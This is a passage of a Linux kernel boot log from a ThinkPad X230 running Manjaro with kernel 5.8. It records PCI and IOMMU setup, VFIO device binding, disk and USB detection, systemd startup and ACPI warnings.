window [mem 0xf0c00000-0xf13fffff 64bit pref] +[ 0.213621] pci_bus 0000:00: resource 4 [io 0x0000-0x0cf7 window] +[ 0.213623] pci_bus 0000:00: resource 5 [io 0x0d00-0xffff window] +[ 0.213624] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window] +[ 0.213625] pci_bus 0000:00: resource 7 [mem 0xdfa00000-0xfebfffff window] +[ 0.213626] pci_bus 0000:00: resource 8 [mem 0xfed40000-0xfed4bfff window] +[ 0.213628] pci_bus 0000:02: resource 0 [io 0x6000-0x6fff] +[ 0.213629] pci_bus 0000:02: resource 1 [mem 0xf1d00000-0xf24fffff] +[ 0.213630] pci_bus 0000:02: resource 2 [mem 0xf0400000-0xf0bfffff 64bit pref] +[ 0.213631] pci_bus 0000:03: resource 0 [io 0x5000-0x5fff] +[ 0.213632] pci_bus 0000:03: resource 1 [mem 0xf1c00000-0xf1cfffff] +[ 0.213633] pci_bus 0000:04: resource 0 [io 0x4000-0x4fff] +[ 0.213634] pci_bus 0000:04: resource 1 [mem 0xf1400000-0xf1bfffff] +[ 0.213635] pci_bus 0000:04: resource 2 [mem 0xf0c00000-0xf13fffff 64bit pref] +[ 0.213740] pci 0000:00:02.0: Video device with shadowed ROM at [mem 0x000c0000-0x000dffff] +[ 0.214328] PCI: CLS 64 bytes, default 64 +[ 0.214377] Trying to unpack rootfs image as initramfs... +[ 0.352872] Freeing initrd memory: 12552K +[ 0.352906] DMAR: No ATSR found +[ 0.352951] DMAR: dmar0: Using Queued invalidation +[ 0.352956] DMAR: dmar1: Using Queued invalidation +[ 0.428205] pci 0000:00:00.0: Adding to iommu group 0 +[ 0.428215] pci 0000:00:02.0: Adding to iommu group 1 +[ 0.428223] pci 0000:00:14.0: Adding to iommu group 2 +[ 0.428238] pci 0000:00:16.0: Adding to iommu group 3 +[ 0.428246] pci 0000:00:16.3: Adding to iommu group 3 +[ 0.428256] pci 0000:00:19.0: Adding to iommu group 4 +[ 0.428265] pci 0000:00:1a.0: Adding to iommu group 5 +[ 0.428273] pci 0000:00:1b.0: Adding to iommu group 6 +[ 0.428283] pci 0000:00:1c.0: Adding to iommu group 7 +[ 0.428291] pci 0000:00:1c.1: Adding to iommu group 8 +[ 0.428300] pci 0000:00:1c.2: Adding to iommu group 9 +[ 0.428308] pci 0000:00:1d.0: Adding to iommu group 10 +[ 0.428327] pci 0000:00:1f.0: Adding to iommu group 11 +[ 0.428336] pci 0000:00:1f.2: Adding to iommu group 11 +[ 0.428345] pci 0000:00:1f.3: Adding to iommu group 11 +[ 0.428520] pci 0000:02:00.0: Adding to iommu group 12 +[ 0.428529] pci 0000:03:00.0: Adding to iommu group 13 +[ 0.436768] DMAR: Intel(R) Virtualization Technology for Directed I/O +[ 0.436770] PCI-DMA: Using software bounce buffering for IO (SWIOTLB) +[ 0.436772] software IO TLB: mapped [mem 0xc9b58000-0xcdb58000] (64MB) +[ 0.436923] check: Scanning for low memory corruption every 60 seconds +[ 0.437269] Initialise system trusted keyrings +[ 0.437278] Key type blacklist registered +[ 0.437328] workingset: timestamp_bits=41 max_order=22 bucket_order=0 +[ 0.438473] zbud: loaded +[ 0.449701] Key type asymmetric registered +[ 0.449702] Asymmetric key parser 'x509' registered +[ 0.449710] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 245) +[ 0.449758] io scheduler mq-deadline registered +[ 0.449759] io scheduler kyber registered +[ 0.449784] io scheduler bfq registered +[ 0.450464] shpchp: Standard Hot Plug PCI Controller Driver version: 0.4 +[ 0.450538] efifb: probing for efifb +[ 0.450554] efifb: No BGRT, not showing boot graphics +[ 0.450555] efifb: framebuffer at 0xe0000000, using 1216k, total 1216k +[ 0.450556] efifb: mode is 640x480x32, linelength=2560, pages=1 +[ 0.450557] efifb: scrolling: redraw +[ 0.450558] efifb: Truecolor: size=8:8:8:8, shift=24:16:8:0 +[ 0.450597] fbcon: Deferring console take-over +[ 0.450598] fb0: EFI VGA frame buffer device +[ 0.450605] intel_idle: MWAIT substates: 0x21120 +[ 0.450606] intel_idle: v0.5.1 model 0x3A +[ 0.450787] intel_idle: Local APIC timer is reliable in all C-states +[ 0.450840] input: Lid Switch as /devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0D:00/input/input0 +[ 0.452673] ACPI: Lid Switch [LID] +[ 0.452708] input: Sleep Button as /devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0E:00/input/input1 +[ 0.452803] ACPI: Sleep Button [SLPB] +[ 0.452856] input: Power Button as /devices/LNXSYSTM:00/LNXPWRBN:00/input/input2 +[ 0.459347] ACPI: Power Button [PWRF] +[ 0.461649] thermal LNXTHERM:00: registered as thermal_zone0 +[ 0.461650] ACPI: Thermal Zone [THM0] (69 C) +[ 0.461851] Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled +[ 0.462453] 0000:00:16.3: ttyS0 at I/O 0x70b0 (irq = 19, base_baud = 115200) is a 16550A +[ 0.462614] AMD-Vi: AMD IOMMUv2 driver by Joerg Roedel <email address hidden> +[ 0.462615] AMD-Vi: AMD IOMMUv2 functionality not available on this system +[ 0.463199] ahci 0000:00:1f.2: version 3.0 +[ 0.463335] ahci 0000:00:1f.2: SSS flag set, parallel bus scan disabled +[ 0.476048] ahci 0000:00:1f.2: AHCI 0001.0300 32 slots 6 ports 6 Gbps 0x13 impl SATA mode +[ 0.476050] ahci 0000:00:1f.2: flags: 64bit ncq stag pm led clo pio slum part ems sxs apst +[ 0.496625] scsi host0: ahci +[ 0.496888] scsi host1: ahci +[ 0.497098] scsi host2: ahci +[ 0.497198] scsi host3: ahci +[ 0.497278] scsi host4: ahci +[ 0.497360] scsi host5: ahci +[ 0.497398] ata1: SATA max UDMA/133 abar m2048@0xf2538000 port 0xf2538100 irq 29 +[ 0.497400] ata2: SATA max UDMA/133 abar m2048@0xf2538000 port 0xf2538180 irq 29 +[ 0.497401] ata3: DUMMY +[ 0.497402] ata4: DUMMY +[ 0.497404] ata5: SATA max UDMA/133 abar m2048@0xf2538000 port 0xf2538300 irq 29 +[ 0.497405] ata6: DUMMY +[ 0.497458] usbcore: registered new interface driver usbserial_generic +[ 0.497462] usbserial: USB Serial support registered for generic +[ 0.497483] rtc_cmos 00:02: RTC can wake from S4 +[ 0.497692] rtc_cmos 00:02: registered as rtc0 +[ 0.497722] rtc_cmos 00:02: setting system clock to 2020-09-30T14:55:40 UTC (1601477740) +[ 0.497738] rtc_cmos 00:02: alarms up to one month, y3k, 114 bytes nvram, hpet irqs +[ 0.497800] intel_pstate: Intel P-state driver initializing +[ 0.498090] ledtrig-cpu: registered to indicate activity on CPUs +[ 0.498292] drop_monitor: Initializing network drop monitor service +[ 0.498617] NET: Registered protocol family 10 +[ 0.503608] Segment Routing with IPv6 +[ 0.503610] RPL Segment Routing with IPv6 +[ 0.503645] NET: Registered protocol family 17 +[ 0.503977] microcode: sig=0x306a9, pf=0x10, revision=0x21 +[ 0.504057] microcode: Microcode Update Driver: v2.2. +[ 0.504061] IPI shorthand broadcast: enabled +[ 0.504067] sched_clock: Marking stable (503804188, 248333)->(526000639, -21948118) +[ 0.504159] registered taskstats version 1 +[ 0.504166] Loading compiled-in X.509 certificates +[ 0.506862] Loaded X.509 cert 'Build time autogenerated kernel key: 5996b3c054c5a5d45f30f3a31bd2b8088edb6449' +[ 0.507441] zswap: loaded using pool zstd/z3fold +[ 0.507638] Key type ._fscrypt registered +[ 0.507639] Key type .fscrypt registered +[ 0.507639] Key type fscrypt-provisioning registered +[ 0.507942] PM: Magic number: 4:649:941 +[ 0.508087] RAS: Correctable Errors collector initialized. +[ 0.812686] ata1: SATA link up 6.0 Gbps (SStatus 133 SControl 300) +[ 0.813178] ata1.00: ACPI cmd ef/02:00:00:00:00:a0 (SET FEATURES) succeeded +[ 0.813180] ata1.00: ACPI cmd f5/00:00:00:00:00:a0 (SECURITY FREEZE LOCK) filtered out +[ 0.813182] ata1.00: ACPI cmd ef/10:03:00:00:00:a0 (SET FEATURES) filtered out +[ 0.813570] ata1.00: supports DRM functions and may not be fully accessible +[ 0.814813] ata1.00: ATA-11: Samsung SSD 860 EVO 1TB, RVT02B6Q, max UDMA/133 +[ 0.814817] ata1.00: 1953525168 sectors, multi 1: LBA48 NCQ (depth 32), AA +[ 0.817782] ata1.00: ACPI cmd ef/02:00:00:00:00:a0 (SET FEATURES) succeeded +[ 0.817788] ata1.00: ACPI cmd f5/00:00:00:00:00:a0 (SECURITY FREEZE LOCK) filtered out +[ 0.817791] ata1.00: ACPI cmd ef/10:03:00:00:00:a0 (SET FEATURES) filtered out +[ 0.818135] ata1.00: supports DRM functions and may not be fully accessible +[ 0.821054] ata1.00: configured for UDMA/133 +[ 0.832922] scsi 0:0:0:0: Direct-Access ATA Samsung SSD 860 2B6Q PQ: 0 ANSI: 5 +[ 0.833090] ata1.00: Enabling discard_zeroes_data +[ 0.833177] sd 0:0:0:0: [sda] 1953525168 512-byte logical blocks: (1.00 TB/932 GiB) +[ 0.833186] sd 0:0:0:0: [sda] Write Protect is off +[ 0.833188] sd 0:0:0:0: [sda] Mode Sense: 00 3a 00 00 +[ 0.833200] sd 0:0:0:0: [sda] Write cache: enabled, read cache: enabled, doesn't support DPO or FUA +[ 0.833383] ata1.00: Enabling discard_zeroes_data +[ 0.835027] sda: sda1 sda2 sda3 sda4 sda5 sda6 +[ 0.835615] ata1.00: Enabling discard_zeroes_data +[ 0.836706] sd 0:0:0:0: [sda] supports TCG Opal +[ 0.836708] sd 0:0:0:0: [sda] Attached SCSI disk +[ 1.149363] ata2: SATA link down (SStatus 0 SControl 300) +[ 1.439347] tsc: Refined TSC clocksource calibration: 2594.106 MHz +[ 1.439360] clocksource: tsc: mask: 0xffffffffffffffff max_cycles: 0x25647bfab01, max_idle_ns: 440795211785 ns +[ 1.439409] clocksource: Switched to clocksource tsc +[ 1.462669] ata5: SATA link down (SStatus 0 SControl 300) +[ 1.465182] Freeing unused decrypted memory: 2040K +[ 1.465785] Freeing unused kernel image (initmem) memory: 1648K +[ 1.465870] Write protecting the kernel read-only data: 22528k +[ 1.467009] Freeing unused kernel image (text/rodata gap) memory: 2044K +[ 1.467616] Freeing unused kernel image (rodata/data gap) memory: 1488K +[ 1.559627] x86/mm: Checked W+X mappings: passed, no W+X pages found. +[ 1.559629] x86/mm: Checking user space page tables +[ 1.606251] x86/mm: Checked W+X mappings: passed, no W+X pages found. +[ 1.606257] Run /init as init process +[ 1.606258] with arguments: +[ 1.606259] /init +[ 1.606260] with environment: +[ 1.606260] HOME=/ +[ 1.606260] TERM=linux +[ 1.606261] BOOT_IMAGE=/boot/vmlinuz-5.8-x86_64 +[ 1.606261] intel_iommu=on +[ 1.694613] VFIO - User Level meta-driver version: 0.3 +[ 1.700271] vfio_pci: add [10de:1c03[ffffffff:ffffffff]] class 0x000000/00000000 +[ 1.700275] vfio_pci: add [10de:10f1[ffffffff:ffffffff]] class 0x000000/00000000 +[ 1.764714] i8042: PNP: PS/2 Controller [PNP0303:KBD,PNP0f13:MOU] at 0x60,0x64 irq 1,12 +[ 1.766602] serio: i8042 KBD port at 0x60,0x64 irq 1 +[ 1.766655] serio: i8042 AUX port at 0x60,0x64 irq 12 +[ 1.776170] ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver +[ 1.789364] ehci-pci: EHCI PCI platform driver +[ 1.789543] ehci-pci 0000:00:1a.0: EHCI Host Controller +[ 1.790301] ehci-pci 0000:00:1a.0: new USB bus registered, assigned bus number 1 +[ 1.790317] ehci-pci 0000:00:1a.0: debug port 2 +[ 1.795166] ehci-pci 0000:00:1a.0: cache line size of 64 is not supported +[ 1.795190] ehci-pci 0000:00:1a.0: irq 16, io mem 0xf253a000 +[ 1.798914] sdhci: Secure Digital Host Controller Interface driver +[ 1.798916] sdhci: Copyright(c) Pierre Ossman +[ 1.801256] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input3 +[ 1.804905] sdhci-pci 0000:02:00.0: SDHCI controller found [1180:e823] (rev 4) +[ 1.805339] mmc0 bounce up to 128 segments into one, max segment size 65536 bytes +[ 1.805692] mmc0: SDHCI controller on PCI [0000:02:00.0] using DMA +[ 1.806182] ehci-pci 0000:00:1a.0: USB 2.0 started, EHCI 1.00 +[ 1.806293] usb usb1: New USB device found, idVendor=1d6b, idProduct=0002, bcdDevice= 5.08 +[ 1.806295] usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1 +[ 1.806297] usb usb1: Product: EHCI Host Controller +[ 1.806298] usb usb1: Manufacturer: Linux 5.8.6-1-MANJARO ehci_hcd +[ 1.806300] usb usb1: SerialNumber: 0000:00:1a.0 +[ 1.806450] hub 1-0:1.0: USB hub found +[ 1.806461] hub 1-0:1.0: 3 ports detected +[ 1.806654] xhci_hcd 0000:00:14.0: xHCI Host Controller +[ 1.806661] xhci_hcd 0000:00:14.0: new USB bus registered, assigned bus number 2 +[ 1.807744] xhci_hcd 0000:00:14.0: hcc params 0x20007181 hci version 0x100 quirks 0x000000000000b930 +[ 1.807750] xhci_hcd 0000:00:14.0: cache line size of 64 is not supported +[ 1.807908] usb usb2: New USB device found, idVendor=1d6b, idProduct=0002, bcdDevice= 5.08 +[ 1.807910] usb usb2: New USB device strings: Mfr=3, Product=2, SerialNumber=1 +[ 1.807911] usb usb2: Product: xHCI Host Controller +[ 1.807912] usb usb2: Manufacturer: Linux 5.8.6-1-MANJARO xhci-hcd +[ 1.807913] usb usb2: SerialNumber: 0000:00:14.0 +[ 1.808031] hub 2-0:1.0: USB hub found +[ 1.808041] hub 2-0:1.0: 4 ports detected +[ 1.808472] ehci-pci 0000:00:1d.0: EHCI Host Controller +[ 1.808478] ehci-pci 0000:00:1d.0: new USB bus registered, assigned bus number 3 +[ 1.808494] ehci-pci 0000:00:1d.0: debug port 2 +[ 1.808509] xhci_hcd 0000:00:14.0: xHCI Host Controller +[ 1.808512] xhci_hcd 0000:00:14.0: new USB bus registered, assigned bus number 4 +[ 1.808515] xhci_hcd 0000:00:14.0: Host supports USB 3.0 SuperSpeed +[ 1.808574] usb usb4: New USB device found, idVendor=1d6b, idProduct=0003, bcdDevice= 5.08 +[ 1.808575] usb usb4: New USB device strings: Mfr=3, Product=2, SerialNumber=1 +[ 1.808577] usb usb4: Product: xHCI Host Controller +[ 1.808578] usb usb4: Manufacturer: Linux 5.8.6-1-MANJARO xhci-hcd +[ 1.808579] usb usb4: SerialNumber: 0000:00:14.0 +[ 1.808685] hub 4-0:1.0: USB hub found +[ 1.808697] hub 4-0:1.0: 4 ports detected +[ 1.812429] ehci-pci 0000:00:1d.0: cache line size of 64 is not supported +[ 1.812446] ehci-pci 0000:00:1d.0: irq 23, io mem 0xf2539000 +[ 1.822660] ehci-pci 0000:00:1d.0: USB 2.0 started, EHCI 1.00 +[ 1.822720] usb usb3: New USB device found, idVendor=1d6b, idProduct=0002, bcdDevice= 5.08 +[ 1.822722] usb usb3: New USB device strings: Mfr=3, Product=2, SerialNumber=1 +[ 1.822723] usb usb3: Product: EHCI Host Controller +[ 1.822724] usb usb3: Manufacturer: Linux 5.8.6-1-MANJARO ehci_hcd +[ 1.822725] usb usb3: SerialNumber: 0000:00:1d.0 +[ 1.823025] hub 3-0:1.0: USB hub found +[ 1.823033] hub 3-0:1.0: 3 ports detected +[ 1.847655] PM: Image not found (code -22) +[ 1.850473] random: fast init done +[ 1.885663] EXT4-fs (sda2): mounted filesystem with ordered data mode. Opts: (null) +[ 1.991139] systemd[1]: RTC configured in localtime, applying delta of 180 minutes to system time. +[ 2.013666] systemd[1]: systemd 246.4-1-manjaro running in system mode. (+PAM +AUDIT -SELINUX -IMA -APPARMOR +SMACK -SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ +LZ4 +ZSTD +SECCOMP +BLKID +ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid) +[ 2.029440] systemd[1]: Detected architecture x86-64. +[ 2.044045] systemd[1]: Set hostname to <thinkpad>. +[ 2.135993] usb 1-1: new high-speed USB device number 2 using ehci-pci +[ 2.152659] usb 3-1: new high-speed USB device number 2 using ehci-pci +[ 2.216664] systemd[1]: Queued start job for default target Graphical Interface. +[ 2.217451] systemd[1]: Created slice Virtual Machine and Container Slice. +[ 2.217964] systemd[1]: Created slice system-getty.slice. +[ 2.218211] systemd[1]: Created slice system-modprobe.slice. +[ 2.218516] systemd[1]: Created slice system-systemd\x2dfsck.slice. +[ 2.218748] systemd[1]: Created slice User and Session Slice. +[ 2.218806] systemd[1]: Started Dispatch Password Requests to Console Directory Watch. +[ 2.218849] systemd[1]: Started Forward Password Requests to Wall Directory Watch. +[ 2.219000] systemd[1]: Set up automount Arbitrary Executable File Formats File System Automount Point. +[ 2.219029] systemd[1]: Reached target Local Encrypted Volumes. +[ 2.219040] systemd[1]: Reached target Login Prompts. +[ 2.219064] systemd[1]: Reached target Remote File Systems. +[ 2.219074] systemd[1]: Reached target Slices. +[ 2.219143] systemd[1]: Listening on Device-mapper event daemon FIFOs. +[ 2.219409] systemd[1]: Listening on LVM2 metadata daemon socket. +[ 2.219477] systemd[1]: Listening on LVM2 poll daemon socket. +[ 2.220755] systemd[1]: Listening on Process Core Dump Socket. +[ 2.220880] systemd[1]: Listening on Journal Audit Socket. +[ 2.220959] systemd[1]: Listening on Journal Socket (/dev/log). +[ 2.221047] systemd[1]: Listening on Journal Socket. +[ 2.221142] systemd[1]: Listening on udev Control Socket. +[ 2.221207] systemd[1]: Listening on udev Kernel Socket. +[ 2.222093] systemd[1]: Mounting Huge Pages File System... +[ 2.223184] systemd[1]: Mounting POSIX Message Queue File System... +[ 2.224506] systemd[1]: Mounting Kernel Debug File System... +[ 2.225932] systemd[1]: Mounting Kernel Trace File System... +[ 2.227458] systemd[1]: Starting Create list of static device nodes for the current kernel... +[ 2.228877] systemd[1]: Starting Monitoring of LVM2 mirrors, snapshots etc. using dmeventd or progress polling... +[ 2.229812] systemd[1]: Starting Load Kernel Module drm... +[ 2.231475] systemd[1]: Starting Set Up Additional Binary Formats... +[ 2.231570] systemd[1]: Condition check resulted in File System Check on Root Device being skipped. +[ 2.233649] systemd[1]: Starting Journal Service... +[ 2.237952] systemd[1]: Starting Load Kernel Modules... +[ 2.239270] Linux agpgart interface v0.103 +[ 2.239725] systemd[1]: Starting Remount Root and Kernel File Systems... +[ 2.239836] systemd[1]: Condition check resulted in Repartition Root Disk being skipped. +[ 2.242013] systemd[1]: Starting Coldplug All udev Devices... +[ 2.247722] systemd[1]: Mounted Huge Pages File System. +[ 2.247922] systemd[1]: Mounted POSIX Message Queue File System. +[ 2.248097] systemd[1]: Mounted Kernel Debug File System. +[ 2.248268] systemd[1]: Mounted Kernel Trace File System. +[ 2.249206] systemd[1]: Finished Create list of static device nodes for the current kernel. +[ 2.249492] systemd[1]: proc-sys-fs-binfmt_misc.automount: Got automount request for /proc/sys/fs/binfmt_misc, triggered by 237 (systemd-binfmt) +[ 2.251082] systemd[1]: Mounting Arbitrary Executable File Formats File System... +[ 2.252759] random: lvm: uninitialized urandom read (4 bytes read) +[ 2.254303] systemd[1]: Mounted Arbitrary Executable File Formats File System. +[ 2.257672] EXT4-fs (sda2): re-mounted. Opts: discard +[ 2.259658] systemd[1]: Finished Set Up Additional Binary Formats. +[ 2.260720] systemd[1]: Finished Remount Root and Kernel File Systems. +[ 2.262093] systemd[1]: Activating swap /swapfile... +[ 2.262194] systemd[1]: Condition check resulted in First Boot Wizard being skipped. +[ 2.263201] systemd[1]: Condition check resulted in Rebuild Hardware Database being skipped. +[ 2.264580] systemd[1]: Starting Load/Save Random Seed... +[ 2.264697] systemd[1]: Condition check resulted in Create System Users being skipped. +[ 2.266147] systemd[1]: Starting Create Static Device Nodes in /dev... +[ 2.283363] usb 1-1: New USB device found, idVendor=8087, idProduct=0024, bcdDevice= 0.00 +[ 2.283367] usb 1-1: New USB device strings: Mfr=0, Product=0, SerialNumber=0 +[ 2.283896] hub 1-1:1.0: USB hub found +[ 2.284101] hub 1-1:1.0: 6 ports detected +[ 2.299736] usb 3-1: New USB device found, idVendor=8087, idProduct=0024, bcdDevice= 0.00 +[ 2.299739] usb 3-1: New USB device strings: Mfr=0, Product=0, SerialNumber=0 +[ 2.299830] systemd[1]: <email address hidden>: Succeeded. +[ 2.300029] hub 3-1:1.0: USB hub found +[ 2.300105] hub 3-1:1.0: 8 ports detected +[ 2.300160] systemd[1]: Finished Load Kernel Module drm. +[ 2.320351] vboxdrv: loading out-of-tree module taints kernel. +[ 2.320579] vboxdrv: module verification failed: signature and/or required key missing - tainting kernel +[ 2.330511] systemd[1]: Finished Create Static Device Nodes in /dev. +[ 2.332431] systemd[1]: Starting Rule-based Manager for Device Events and Files... +[ 2.333641] vboxdrv: Found 4 processor cores +[ 2.359495] vboxdrv: TSC mode is Invariant, tentative frequency 2594105600 Hz +[ 2.359497] vboxdrv: Successfully loaded version 6.1.14 (interface 0x002e0000) +[ 2.360661] VBoxNetAdp: Successfully started. +[ 2.363175] VBoxNetFlt: Successfully started. +[ 2.364683] systemd[1]: Finished Coldplug All udev Devices. +[ 2.369357] systemd[1]: Finished Load Kernel Modules. +[ 2.369651] systemd[1]: Condition check resulted in FUSE Control File System being skipped. +[ 2.370971] systemd[1]: Mounting Kernel Configuration File System... +[ 2.372281] systemd[1]: Starting Apply Kernel Variables... +[ 2.375624] systemd[1]: Mounted Kernel Configuration File System. +[ 2.384195] systemd[1]: Finished Apply Kernel Variables. +[ 2.386538] systemd[1]: Starting CLI Netfilter Manager... +[ 2.404397] systemd[1]: Finished CLI Netfilter Manager. +[ 2.565984] usb 1-1.4: new full-speed USB device number 3 using ehci-pci +[ 2.662343] systemd[1]: Started Journal Service. +[ 2.662451] audit: type=1130 audit(1601466942.659:2): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=systemd-journald comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 2.670056] usb 1-1.4: New USB device found, idVendor=0a5c, idProduct=21e6, bcdDevice= 1.12 +[ 2.670059] usb 1-1.4: New USB device strings: Mfr=1, Product=2, SerialNumber=3 +[ 2.670061] usb 1-1.4: Product: BCM20702A0 +[ 2.670063] usb 1-1.4: Manufacturer: Broadcom Corp +[ 2.670064] usb 1-1.4: SerialNumber: F4B7E2E92DEF +[ 2.745987] usb 1-1.6: new high-speed USB device number 4 using ehci-pci +[ 2.770684] audit: type=1130 audit(1601466942.769:3): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=systemd-journal-flush comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 2.770915] audit: type=1130 audit(1601466942.769:4): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=systemd-udevd comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 2.772398] audit: type=1130 audit(1601466942.769:5): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=lvm2-lvmetad comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 2.851031] usb 1-1.6: New USB device found, idVendor=5986, idProduct=02d2, bcdDevice= 0.11 +[ 2.851035] usb 1-1.6: New USB device strings: Mfr=1, Product=2, SerialNumber=0 +[ 2.851037] usb 1-1.6: Product: Integrated Camera +[ 2.851038] usb 1-1.6: Manufacturer: Ricoh Company Ltd. +[ 2.904083] ACPI: AC Adapter [AC] (on-line) +[ 2.966499] battery: ACPI: Battery Slot [BAT0] (battery present) +[ 2.976328] acpi PNP0C14:01: duplicate WMI GUID 05901221-D566-11D1-B2F0-00A0C9062910 (first instance was on PNP0C14:00) +[ 2.976465] acpi PNP0C14:02: duplicate WMI GUID 05901221-D566-11D1-B2F0-00A0C9062910 (first instance was on PNP0C14:00) +[ 3.017433] random: mktemp: uninitialized urandom read (6 bytes read) +[ 3.017676] ACPI Warning: SystemIO range 0x0000000000000428-0x000000000000042F conflicts with OpRegion 0x0000000000000400-0x000000000000047F (\_SB.PCI0.LPC.PMIO) (20200528/utaddress-204) +[ 3.017682] ACPI: If an ACPI driver is available for this device, you should use it instead of the native driver +[ 3.017686] ACPI Warning: SystemIO range 0x0000000000000540-0x000000000000054F conflicts with OpRegion 0x0000000000000500-0x000000000000057F (\_SB.PCI0.LPC.LPIO) (20200528/utaddress-204) +[ 3.017690] ACPI: If an ACPI driver is available for this device, you should use it instead of the native driver +[ 3.017691] ACPI Warning: SystemIO range 0x0000000000000530-0x000000000000053F conflicts with OpRegion 0x0000000000000500-0x000000000000057F (\_SB.PCI0.LPC.LPIO) (20200528/utaddress-204) +[ 3.017694] ACPI: If an ACPI driver is available for this device, you should use it instead of the native driver +[ 3.017695] ACPI Warning: SystemIO range 0x0000000000000500-0x000000000000052F conflicts with OpRegion 0x0000000000000500-0x000000000000057F (\_SB.PCI0.LPC.LPIO) (20200528/utaddress-204) +[ 3.017699] ACPI: If an ACPI driver is available for this device, you should use it instead of the native driver +[ 3.017699] lpc_ich: Resource conflict(s) found affecting gpio_ich +[ 3.035132] random: tlp-readconfs: uninitialized urandom read (4 bytes read) +[ 3.094537] e1000e: Intel(R) PRO/1000 Network Driver - 3.2.6-k +[ 3.094539] e1000e: Copyright(c) 1999 - 2015 Intel Corporation. +[ 3.094756] e1000e 0000:00:19.0: Interrupt Throttling Rate (ints/sec) set to dynamic conservative mode +[ 3.127128] tpm_tis 00:05: 1.2 TPM (device-id 0x0, rev-id 78) +[ 3.147475] i801_smbus 0000:00:1f.3: SMBus using PCI interrupt +[ 3.150102] i2c i2c-0: 2/2 memory slots populated (from DMI) +[ 3.150460] i2c i2c-0: Successfully instantiated SPD at 0x50 +[ 3.150800] i2c i2c-0: Successfully instantiated SPD at 0x51 +[ 3.192717] e1000e 0000:00:19.0 0000:00:19.0 (uninitialized): registered PHC clock +[ 3.211534] Non-volatile memory driver v1.3 +[ 3.213353] input: PC Speaker as /devices/platform/pcspkr/input/input5 +[ 3.251233] audit: type=1130 audit(1601466943.249:6): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=lvm2-monitor comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 3.264130] cfg80211: Loading compiled-in X.509 certificates for regulatory database +[ 3.289666] cfg80211: Loaded X.509 cert 'sforshee: 00b28ddf47aef9cea7' +[ 3.303123] e1000e 0000:00:19.0 eth0: (PCI Express:2.5GT/s:Width x1) 3c:97:0e:91:ec:f6 +[ 3.303131] e1000e 0000:00:19.0 eth0: Intel(R) PRO/1000 Network Connection +[ 3.303180] e1000e 0000:00:19.0 eth0: MAC: 10, PHY: 11, PBA No: 1000FF-0FF +[ 3.311874] thinkpad_acpi: ThinkPad ACPI Extras v0.26 +[ 3.311875] thinkpad_acpi: http://ibm-acpi.sf.net/ +[ 3.311877] thinkpad_acpi: ThinkPad BIOS G2ETB5WW (2.75 ), EC G2HT35WW +[ 3.311878] thinkpad_acpi: Lenovo ThinkPad X230, model 2325KZ5 +[ 3.317265] thinkpad_acpi: radio switch found; radios are enabled +[ 3.317428] thinkpad_acpi: This ThinkPad has standard ACPI backlight brightness control, supported by the ACPI video driver +[ 3.317429] thinkpad_acpi: Disabling thinkpad-acpi brightness events by default... +[ 3.321289] thinkpad_acpi: rfkill switch tpacpi_bluetooth_sw: radio is unblocked +[ 3.326080] audit: type=1130 audit(1601466943.323:7): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=systemd-fsck@dev-disk-by\x2duuid-93fcb36f\x2df56a\x2d40a4\x2d844f\x2d9119b0bd77ce comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 3.340751] thinkpad_acpi: battery 1 registered (start 0, stop 100) +[ 3.340757] battery: new extension: ThinkPad Battery Extension +[ 3.340817] input: ThinkPad Extra Buttons as /devices/platform/thinkpad_acpi/input/input6 +[ 3.343823] EXT4-fs (sda3): mounted filesystem with ordered data mode. Opts: discard +[ 3.405270] audit: type=1130 audit(1601466943.403:8): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=systemd-fsck@dev-disk-by\x2duuid-4AF3\x2d613F comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? terminal=? res=success' +[ 3.466596] RAPL PMU: API unit is 2^-32 Joules, 3 fixed counters, 163840 ms ovfl timer +[ 3.466598] RAPL PMU: hw unit of domain pp0-core 2^-16 Joules +[ 3.466599] RAPL PMU: hw unit of domain package 2^-16 Joules +[ 3.466600] RAPL PMU: hw unit of domain pp1-gpu 2^-16 Joules +[ 3.576034] cryptd: max_cpu_qlen set to 1000 +[ 3.584933] iTCO_vendor_support: vendor-support=0 +[ 3.605149] iTCO_wdt: Intel TCO WatchDog Timer Driver v1.11 +[ 3.605206] iTCO_wdt: Found a Panther Point TCO device (Version=2, TCOBASE=0x0460) +[ 3.609336] iTCO_wdt: initialized. heartbeat=30 sec (nowayout=0) +[ 3.660146] urandom_read: 6 callbacks suppressed +[ 3.660148] random: mktemp: uninitialized urandom read (6 bytes read) +[ 3.703193] at24 0-0050: supply vcc not found, using dummy regulator +[ 3.703847] AVX version of gcm_enc/dec engaged. +[ 3.703848] AES CTR mode by8 optimization enabled +[ 3.704961] at24 0-0050: 256 byte spd EEPROM, read-only +[ 3.704998] at24 0-0051: supply vcc not found, using dummy regulator +[ 3.705693] at24 0-0051: 256 byte spd EEPROM, read-only +[ 3.724158] e1000e 0000:00:19.0 enp0s25: renamed from eth0 +[ 3.749166] audit: type=1130 audit(1601466943.746:9): pid=1 uid=0 auid=4294967295 ses=4294967295 msg='unit=systemd-rfkill comm="systemd" exe="/usr/lib/systemd/systemd" hostname=? addr=? 